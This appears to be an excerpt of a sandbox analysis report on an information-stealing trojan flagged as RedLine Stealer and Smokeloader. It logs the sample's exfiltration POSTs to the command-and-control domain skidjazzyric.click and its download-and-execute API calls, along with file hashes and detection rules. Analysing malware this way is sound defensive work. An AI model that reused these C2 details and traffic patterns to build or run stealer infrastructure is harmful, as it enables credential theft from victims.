2nOmOtdbs834MM8+8ZImwybflwKVQRf5q7Q7pMvakZnfM7StRJuwn+okTTuhR7VKZ1lVwAXPFnsq9z73jQ2VSdzx5PnWCONN6mbe7vGIcwt2l9cDhk2Sqi/meGTNygffzvPmuhXbMJ9oIYx744e2DSXbl8MHztR5qTf8dg7Il8mcYLcrVV7gy/utzzvix+ZE5tkUQcBcUOmuZf/33B8HytywpnnVmPEequAPOCLF9Eon25TCRo3XO+k0urWOShT
2025-01-08 08:44:18 UTC	1369	IN	Data Raw: 53 74 54 53 33 61 4e 36 6d 50 65 37 76 47 47 64 49 30 6c 6d 52 57 44 52 45 35 57 2b 61 74 33 50 37 59 4e 79 4e 5a 4b 6e 50 50 6c 2b 35 54 5a 38 6c 6c 72 59 67 78 37 6f 78 51 6c 57 61 66 63 68 39 59 56 78 5a 51 77 62 44 4d 36 73 56 77 4f 78 45 2b 4f 38 57 65 72 51 6f 6a 77 48 69 6e 6a 44 50 72 69 52 2f 66 4b 4a 35 73 55 67 55 59 4f 30 37 67 72 74 72 7a 33 44 73 32 58 79 70 2f 7a 70 62 6c 57 57 6d 44 4f 65 36 45 49 36 50 65 55 4f 34 72 6c 32 70 63 46 6c 63 75 45 76 48 67 30 50 53 54 61 47 52 54 4b 58 76 4e 6e 75 46 5a 61 38 4a 37 6f 49 51 2b 36 6f 34 59 79 53 65 63 59 6c 34 4f 47 44 42 59 37 61 58 54 2f 39 63 32 4b 78 39 70 4f 38 57 4b 72 51 6f 6a 37 46 43 62 77 52 72 5a 78 67 2b 56 50 39 68 74 55 30 42 50 63 56 44 72 72 4e 2f 33 31 54 6b 6f 56 53 35 77 7a Data Ascii: StTS3aN6mPe7vGGdI0lmRWDRE5W+at3P7YNyNZKnPPl+5TZ8llrYgx7oxQlWafch9YVxZQwbDM6sVwOxE+O8WerQojwHinjDPriR/fKJ5sUgUYO07grtrz3Ds2Xyp/zpblWWmDOe6EI6PeUO4rl2pcFlcuEvHg0PSTaGRTKXvNnuFZa8J7oIQ+6o4YySecYl4OGDBY7aXT/9c2Kx9pO8WKrQoj7FCbwRrZxg+VP9htU0BPcVDrrN/31TkoVS5wz
2025-01-08 08:44:18 UTC	1369	IN	Data Raw: 67 78 33 4b 68 67 6a 72 6c 6c 42 66 53 4e 4a 5a 6e 55 41 67 66 4f 46 33 73 70 64 72 2b 33 7a 6f 6c 57 43 6c 31 79 74 4b 6a 45 6d 54 62 4e 2f 62 44 47 76 4f 64 41 73 30 72 75 57 64 51 51 41 68 2f 52 61 69 6e 32 37 69 4c 63 43 31 4e 49 33 62 51 6d 2b 70 63 62 4d 42 6c 72 34 34 77 38 59 45 66 33 79 47 55 62 46 41 47 46 6a 52 57 35 4b 66 53 38 39 77 38 5a 42 46 6e 66 4e 72 53 74 52 4a 4e 79 47 53 35 67 44 58 6f 6b 41 75 62 4f 64 5a 7a 48 77 63 62 63 51 53 6f 6f 39 7a 7a 31 7a 41 6f 58 79 4e 32 77 6f 44 69 56 57 54 4b 66 4c 79 4a 50 4f 53 4e 47 4e 41 70 6e 6e 68 54 44 67 55 30 54 76 72 67 6d 62 6a 55 4b 47 51 48 5a 30 33 46 67 76 31 52 49 66 4a 68 72 5a 55 77 37 6f 70 51 78 47 69 42 4b 6c 67 4d 56 32 6b 63 37 71 2f 65 2b 39 77 78 4c 56 4d 71 66 73 75 58 37 46 Data Ascii: gx3KhgjrllBfSNJZnUAgfOF3spdr+3zolWCl1ytKjEmTbN/bDGvOdAs0ruWdQQAh/Rain27iLcC1NI3bQm+pcbMBlr44w8YEf3yGUbFAGFjRW5KfS89w8ZBFnfNrStRJNyGS5gDXokAubOdZzHwcbcQSoo9zz1zAoXyN2woDiVWTKfLyJPOSNGNApnnhTDgU0TvrgmbjUKGQHZ03Fgv1RIfJhrZUw7opQxGiBKlgMV2kc7q/e+9wxLVMqfsuX7F
2025-01-08 08:44:18 UTC	1369	IN	Data Raw: 6e 49 41 67 6f 35 6c 65 77 6d 61 66 5a 68 39 59 56 7a 4a 62 36 36 48 64 38 64 38 2f 49 31 73 31 63 63 57 41 37 46 4e 6f 7a 6e 75 75 6a 6a 62 70 68 78 6e 57 4b 70 56 74 57 41 38 53 63 52 4b 6f 70 38 2b 34 69 33 41 46 55 69 78 33 6d 63 69 74 54 53 33 61 4e 36 6d 50 65 37 76 47 45 4e 45 6a 6b 6d 64 63 44 78 51 6a 58 65 36 79 31 2f 58 5a 49 69 35 55 49 6e 62 50 6e 2b 35 55 5a 63 68 37 76 49 6f 37 34 49 31 51 6c 57 61 66 63 68 39 59 56 78 4a 4c 2f 71 72 51 39 4d 55 37 4a 56 77 78 64 74 4c 53 6f 78 4a 79 78 47 62 75 32 79 33 7a 6b 52 66 45 61 49 45 71 57 41 78 58 61 52 7a 75 71 64 48 2f 31 54 34 32 57 69 46 30 7a 5a 76 6b 56 6d 76 41 64 36 71 48 50 4f 61 46 48 4e 41 68 6d 32 56 62 43 52 6b 34 55 36 6a 75 6c 2f 2f 4c 63 48 77 66 42 6d 44 42 6e 75 41 53 66 49 31 Data Ascii: nIAgo5lewmafZh9YVzJb66Hd8d8/I1s1ccWA7FNoznuujjbphxnWKpVtWA8ScRKop8+4i3AFUix3mcitTS3aN6mPe7vGENEjkmdcDxQjXe6y1/XZIi5UInbPn+5UZch7vIo74I1QlWafch9YVxJL/qrQ9MU7JVwxdtLSoxJyxGbu2y3zkRfEaIEqWAxXaRzuqdH/1T42WiF0zZvkVmvAd6qHPOaFHNAhm2VbCRk4U6jul//LcHwfBmDBnuASfI1
2025-01-08 08:44:18 UTC	247	IN	Data Raw: 61 4f 42 43 4a 74 2b 32 45 70 55 46 68 49 32 53 71 71 56 31 50 62 64 4e 7a 49 66 4f 45 53 4d 30 75 77 53 4f 2f 70 75 37 70 56 37 75 39 52 65 6d 7a 54 59 4d 68 39 48 46 43 4e 4f 37 71 50 42 2b 35 51 4f 47 6e 67 78 63 63 57 43 36 6b 56 73 67 7a 6e 75 6a 48 75 37 76 31 44 53 49 59 4e 37 53 51 30 48 4e 68 7a 58 37 70 66 67 6b 32 68 6b 61 69 52 31 7a 4a 58 37 51 79 37 6b 59 61 53 45 4b 2b 53 52 48 35 74 6f 32 47 77 66 57 45 52 2f 48 4f 79 78 6c 36 43 44 59 6e 38 4b 64 43 79 53 77 50 49 63 65 6f 4e 68 37 74 74 70 72 63 59 43 6d 33 37 59 4c 56 77 53 42 54 64 66 2f 71 4f 51 78 75 30 58 50 6c 49 68 62 4e 4f 73 30 31 56 35 7a 6e 47 35 6b 6e 66 32 68 52 37 56 49 59 34 71 45 55 41 59 63 51 54 52 34 4a 2b 34 37 48 35 6b 52 32 63 6a 67 71 0d 0a Data Ascii: aOBCJt+2EpUFhI2SqqV1PbdNzIfOESM0uwSO/pu7pV7u9RemzTYMh9HFCNO7qPB+5QOGngxccWC6kVsgznujHu7v1DSIYN7SQ0HNhzX7pfgk2hkaiR1zJX7Qy7kYaSEK+SRH5to2GwfWER/HOyxl6CDYn8KdCySwPIceoNh7ttprcYCm37YLVwSBTdf/qOQxu0XPlIhbNOs01V5znG5knf2hR7VIY4qEUAYcQTR4J+47H5kR2cjgq
2025-01-08 08:44:18 UTC	1369	IN	Data Raw: 32 66 66 36 0d 0a 66 75 58 47 33 45 59 62 2f 4f 48 50 6d 4c 46 73 77 33 32 43 51 66 42 6c 64 70 44 4b 62 67 30 2b 6d 54 61 48 51 4e 66 43 36 52 78 62 30 41 66 49 31 75 37 70 56 37 75 39 52 65 6d 7a 54 59 4d 68 39 48 46 43 4e 4f 37 71 50 42 2b 35 51 4f 47 6e 45 67 66 63 65 56 2f 52 42 4e 79 47 4f 70 77 33 57 6a 69 56 43 44 48 39 67 69 48 7a 39 5a 63 55 53 6f 2b 4a 66 4e 30 44 34 71 57 44 46 71 6a 37 7a 71 56 47 62 45 5a 2b 79 74 4d 50 65 42 55 4a 56 6d 6e 69 6f 48 55 46 6c 78 57 50 6e 67 6a 36 69 42 61 33 45 4d 63 43 75 51 6a 61 4e 4c 49 39 55 33 39 74 46 31 6f 35 52 51 67 32 62 66 61 55 30 53 45 54 4a 4b 36 2b 66 70 78 74 41 6d 4b 56 41 73 65 76 79 73 77 31 39 69 77 48 6e 73 73 69 33 75 6c 68 50 65 49 61 5a 55 55 51 63 44 4e 6c 4c 75 6f 4a 65 32 6b 7a 39 Data Ascii: 2ff6fuXG3EYb/OHPmLFsw32CQfBldpDKbg0+mTaHQNfC6Rxb0AfI1u7pV7u9RemzTYMh9HFCNO7qPB+5QOGnEgfceV/RBNyGOpw3WjiVCDH9giHz9ZcUSo+JfN0D4qWDFqj7zqVGbEZ+ytMPeBUJVmnioHUFlxWPngj6iBa3EMcCuQjaNLI9U39tF1o5RQg2bfaU0SETJK6+fpxtAmKVAsevysw19iwHnssi3ulhPeIaZUUQcDNlLuoJe2kz9
2025-01-08 08:44:18 UTC	1369	IN	Data Raw: 59 4b 57 2f 42 49 37 6b 79 58 31 31 6d 69 30 31 6b 4c 45 61 49 45 71 53 55 42 50 59 78 4b 6f 73 70 65 67 6b 33 63 6e 54 54 56 39 77 59 54 75 46 56 33 39 55 4b 43 45 4f 76 57 57 48 64 63 48 6d 33 74 56 50 69 6b 6b 58 2b 61 75 30 4f 37 43 63 47 6f 66 4b 44 75 61 71 36 30 61 49 2f 77 35 37 70 74 37 75 38 59 6c 32 43 69 57 62 55 6b 52 57 68 5a 53 37 36 48 42 36 4e 34 38 42 56 77 32 63 59 4c 63 72 56 51 6a 6d 79 58 67 77 7a 2f 79 78 6b 69 4c 64 4d 4d 2f 44 46 64 48 59 30 4f 6d 75 5a 66 75 6b 32 68 32 45 57 64 70 67 73 71 74 46 57 44 52 5a 61 69 41 4c 65 44 42 4c 75 55 44 6a 32 6c 50 42 68 51 50 59 73 4f 73 30 66 2f 4a 4e 79 4a 35 42 7a 75 4d 30 75 49 53 4f 2f 6f 33 35 73 4d 45 72 63 59 49 6d 33 37 59 58 31 77 4f 47 54 5a 4b 2b 65 33 79 37 39 41 67 49 6c 78 6e Data Ascii: YKW/BI7kyX11mi01kLEaIEqSUBPYxKospegk3cnTTV9wYTuFV39UKCEOvWWHdcHm3tVPikkX+au0O7CcGofKDuaq60aI/w57pt7u8Yl2CiWbUkRWhZS76HB6N48BVw2cYLcrVQjmyXgwz/yxkiLdMM/DFdHY0OmuZfuk2h2EWdpgsqtFWDRZaiALeDBLuUDj2lPBhQPYsOs0f/JNyJ5BzuM0uISO/o35sMErcYIm37YX1wOGTZK+e3y79AgIlxn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49981	104.21.80.1	443	6036	C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 08:44:19 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MUXRYZNIFQOWC43IL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12835 Host: skidjazzyric.click
2025-01-08 08:44:19 UTC	12835	OUT	Data Raw: 2d 2d 4d 55 58 52 59 5a 4e 49 46 51 4f 57 43 34 33 49 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 31 44 42 37 30 32 37 39 39 43 41 37 39 44 44 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 4d 55 58 52 59 5a 4e 49 46 51 4f 57 43 34 33 49 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 55 58 52 59 5a 4e 49 46 51 4f 57 43 34 33 49 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 68 35 56 66 48 2d 2d 0d 0a 2d 2d 4d 55 58 52 Data Ascii: --MUXRYZNIFQOWC43ILContent-Disposition: form-data; name="hwid"61DB702799CA79DD822D1F4978021086--MUXRYZNIFQOWC43ILContent-Disposition: form-data; name="pid"2--MUXRYZNIFQOWC43ILContent-Disposition: form-data; name="lid"4h5VfH----MUXR
2025-01-08 08:44:20 UTC	1133	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:44:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uboavu4nen9gvos8na6p283fqm; expires=Sun, 04 May 2025 02:30:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eJJPAjTmEFviqqDe9hWwoz504kaMyAqR8k%2BsyOuxYfZ8U5RI3bJsBRN7x64TtG7akGjq3sNY2oDSFd55GqgRzZz%2BOPpq7JbcXcd1iy5k61PbKbA1Ju%2BnyUMko6MkfMW0hA%2Bxrxc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8feae7af1c107d0e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1966&min_rtt=1956&rtt_var=755&sent=12&recv=19&lost=0&retrans=0&sent_bytes=3056&recv_bytes=13776&delivery_rate=2144955&cwnd=245&unsent_bytes=0&cid=18b3c1c372968b9c&ts=562&x=0"
2025-01-08 08:44:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-08 08:44:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49982	104.21.80.1	443	6036	C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 08:44:20 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CZBIK2RCQ0NBTXO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15052 Host: skidjazzyric.click
2025-01-08 08:44:20 UTC	15052	OUT	Data Raw: 2d 2d 43 5a 42 49 4b 32 52 43 51 30 4e 42 54 58 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 31 44 42 37 30 32 37 39 39 43 41 37 39 44 44 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 43 5a 42 49 4b 32 52 43 51 30 4e 42 54 58 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 5a 42 49 4b 32 52 43 51 30 4e 42 54 58 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 68 35 56 66 48 2d 2d 0d 0a 2d 2d 43 5a 42 49 4b 32 52 43 51 30 Data Ascii: --CZBIK2RCQ0NBTXOContent-Disposition: form-data; name="hwid"61DB702799CA79DD822D1F4978021086--CZBIK2RCQ0NBTXOContent-Disposition: form-data; name="pid"2--CZBIK2RCQ0NBTXOContent-Disposition: form-data; name="lid"4h5VfH----CZBIK2RCQ0
2025-01-08 08:44:21 UTC	1131	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:44:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v3amm8gmjsdks0rspit4aght18; expires=Sun, 04 May 2025 02:31:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iz4HojKL98ZRN5zVnkF0i1EEYimW1YLFhqHK4S%2FOqDM2MGtVg0nvdnOOnxTwMnRUSwOcUDudFFxobYahQ%2BFTosHXtZyoUfa17AZt%2BEdePw73oEaXmUtclDi5DdNqW9gbqtXDz30%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8feae7b6a8040f36-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1458&min_rtt=1453&rtt_var=556&sent=10&recv=19&lost=0&retrans=0&sent_bytes=3056&recv_bytes=15991&delivery_rate=2923898&cwnd=232&unsent_bytes=0&cid=aa95d8a38fe73d4c&ts=545&x=0"
2025-01-08 08:44:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-08 08:44:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49983	104.21.80.1	443	6036	C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 08:44:22 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RBXVYYUNXCGFHO3WVS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20237 Host: skidjazzyric.click
2025-01-08 08:44:22 UTC	15331	OUT	Data Raw: 2d 2d 52 42 58 56 59 59 55 4e 58 43 47 46 48 4f 33 57 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 31 44 42 37 30 32 37 39 39 43 41 37 39 44 44 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 0d 0a 2d 2d 52 42 58 56 59 59 55 4e 58 43 47 46 48 4f 33 57 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 52 42 58 56 59 59 55 4e 58 43 47 46 48 4f 33 57 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 68 35 56 66 48 2d 2d 0d 0a 2d 2d 52 Data Ascii: --RBXVYYUNXCGFHO3WVSContent-Disposition: form-data; name="hwid"61DB702799CA79DD822D1F4978021086--RBXVYYUNXCGFHO3WVSContent-Disposition: form-data; name="pid"3--RBXVYYUNXCGFHO3WVSContent-Disposition: form-data; name="lid"4h5VfH----R
2025-01-08 08:44:22 UTC	4906	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0
2025-01-08 08:44:22 UTC	1135	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:44:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vke587hlrq4792d0ilerpvd339; expires=Sun, 04 May 2025 02:31:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z52F9rdGlpkgpYcoRVKOQEmJLuZ9D2opdp60X7qGC07lWGJ%2FF%2FKSDeLtO8U54qfzc0Scjz6%2FUNuGuxkDzgI4jheG28QHdk46txa9FyQSfS8NS8rDsEGDig%2Bj%2FvBCDLys0Ct3lWo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8feae7be1ddd43ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1739&min_rtt=1735&rtt_var=659&sent=12&recv=24&lost=0&retrans=0&sent_bytes=3057&recv_bytes=21201&delivery_rate=2473178&cwnd=231&unsent_bytes=0&cid=46ce930d1c4847a0&ts=631&x=0"
2025-01-08 08:44:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-08 08:44:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:42:26
Start date:	08/01/2025
Path:	C:\Users\user\Desktop\xHj1N8ylIf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xHj1N8ylIf.exe"
Imagebase:	0x400000
File size:	380'928 bytes
MD5 hash:	C7E643B43245F27403ED493443865155
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2835002444.00000000020B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	03:42:34
Start date:	08/01/2025
Path:	C:\Users\user\AppData\Local\Temp\5796.tmp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\5796.tmp.exe"
Imagebase:	0x9f0000
File size:	4'976'128 bytes
MD5 hash:	39ED277DE9297BF19DA7B0FA7EC41370
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2805940961.0000000000862000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 22%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:44:22
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6036 -s 1768
Imagebase:	0x860000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	21.3%
Signature Coverage:	3.7%
Total number of Nodes:	738
Total number of Limit Nodes:	20

Executed Functions

Function 0040273E Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 134
networkfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(ShareScreen,00000000,00000000,00000000,00000000), ref: 00402761
InternetOpenUrlW.WININET(00000000,004596F8,00000000,00000000,00000000,00000000), ref: 00402777
GetTempPathW.KERNEL32(00000105,?), ref: 00402793
GetTempFileNameW.KERNEL32(?,00000000,00000000,?), ref: 004027A9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 004027E2
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 0040281E
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040283B
CloseHandle.KERNEL32(00000000), ref: 00402851
ShellExecuteExW.SHELL32(?), ref: 004028B2
WaitForSingleObject.KERNEL32(?,00008000), ref: 004028C7
CloseHandle.KERNEL32(?), ref: 004028D3
InternetCloseHandle.WININET(00000000), ref: 004028DC
InternetCloseHandle.WININET(00000000), ref: 004028DF

Strings

ShareScreen, xrefs: 0040275C
.exe, xrefs: 004027B5
<, xrefs: 0040288F

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Internet$CloseFileHandle$OpenTemp$CreateExecuteNameObjectPathReadShellSingleWaitWrite
String ID: .exe$<$ShareScreen
API String ID: 3323492106-493228180
Opcode ID: 5ffb97128f53584dc19109bb6b4a5be28956e95870f6d0853bc0f52559060d1b
Instruction ID: 932575238cfee65a4777cc0c54c501b8ba877ff59808714397c98c777b3f8fbc
Opcode Fuzzy Hash: 5ffb97128f53584dc19109bb6b4a5be28956e95870f6d0853bc0f52559060d1b
Instruction Fuzzy Hash: 5541777590021CAFEB209B65DD89FEA77FCFF05344F0081B6A649E2190DE749E858FA4

Function 020B07A6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 020B07CE
Module32First.KERNEL32(00000000,00000224), ref: 020B07EE

Memory Dump Source

Source File: 00000000.00000002.2835002444.00000000020B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20b0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 05984923c0efbffd01e66c6b980dcf65675f3eba29d859e8ecefc5b05d652f49
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 72F0C2315403116FE7323AB5D88CBAFB7EDEF49665F100168E642914C0DB70E8055A60

Function 0042FBD9 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

qwB, xrefs: 0042FECE, 0042FE64, 0042FE86

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID: qwB
API String ID: 0-1390286072
Opcode ID: 2619bd42e0aaac62bd8673b22ad93fd9d22258d12a10df46a37790a2e70c541d
Instruction ID: 9375645e15640181a8d91f970ee1fe30879534d869e31ad289c3001955ab72f9
Opcode Fuzzy Hash: 2619bd42e0aaac62bd8673b22ad93fd9d22258d12a10df46a37790a2e70c541d
Instruction Fuzzy Hash: 55C1E774B042599FDB11DFA9E8417AE7BB0BF4A300FC5007BE914A7392C7389945CB69

Function 00439CEC Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

